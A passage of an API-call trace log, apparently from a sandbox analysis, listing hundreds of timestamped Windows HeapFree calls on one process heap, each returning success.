lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.387] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.388] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.388] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.389] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.389] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.389] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.390] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.391] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.391] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.391] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0078.399] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0078.405] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0078.411] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0078.414] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.414] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.415] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0078.416] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0078.418] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0078.808] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0078.808] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0078.810] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0078.814] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0079.327] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0079.327] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0079.328] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0079.329] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0079.331] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0079.333] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0079.333] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0079.484] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0079.489] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0079.489] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0079.494] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0079.495] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0079.495] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0079.495] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0079.496] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0079.498] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0079.499] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0079.499] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0079.504] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0079.504] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0079.505] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0079.506] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0079.511] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0079.511] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0079.515] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0079.515] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0079.636] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0079.636] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0079.638] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0079.640] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0079.640] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0079.643] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0079.644] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0079.644] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0079.645] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0079.648] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0079.650] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0079.651] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0079.655] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0079.657] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0079.662] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0079.663] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0079.663] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0079.663] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0079.665] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.027] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0080.027] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.027] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.029] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.029] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.030] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0080.030] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.030] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.032] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.032] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.349] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.349] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.349] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.350] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.350] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.350] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.350] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.351] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.351] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.351] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.351] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.352] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.352] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.352] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.352] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.352] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.352] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.353] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.353] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.354] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.354] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.355] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.355] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.356] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.356] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.357] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.357] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.358] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.358] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.358] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.360] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.360] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.361] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.362] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.363] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.363] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.364] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.365] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.366] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.366] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.367] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.367] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.368] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.368] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.369] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.369] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.371] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.372] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.372] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.373] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.373] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.375] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0080.375] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.375] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.380] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.380] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.381] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0080.382] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0080.382] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.382] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.384] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0080.384] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.385] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0080.385] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.385] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.386] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.386] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0080.386] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0080.795] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.796] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.796] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.796] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.796] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.797] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.797] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.797] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.797] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.797] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.797] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.797] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.798] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0080.798] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.799] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.799] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.799] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0080.799] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.799] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0080.800] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.814] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.814] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.814] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0080.817] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.817] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.817] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0080.819] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0080.819] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0080.819] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0080.819] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0080.998] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.998] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.998] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.999] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0081.000] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.000] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.000] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.002] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0081.002] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.002] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.007] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0081.007] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.007] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.007] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0081.016] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0081.017] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0081.017] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0081.017] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0081.018] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.018] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.026] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0081.031] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0081.034] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0081.353] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0081.354] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.356] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.357] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.357] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.357] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.358] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.358] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.358] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.360] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.360] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.360] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0081.526] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0081.528] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0081.530] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0081.531] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.531] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.537] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0081.537] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.537] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0081.540] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.540] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0081.541] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.541] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0081.541] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.542] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0081.542] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.542] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0081.542] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.542] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.544] HeapFree (in: hHeap=0x490000, dwFlags=0x0, 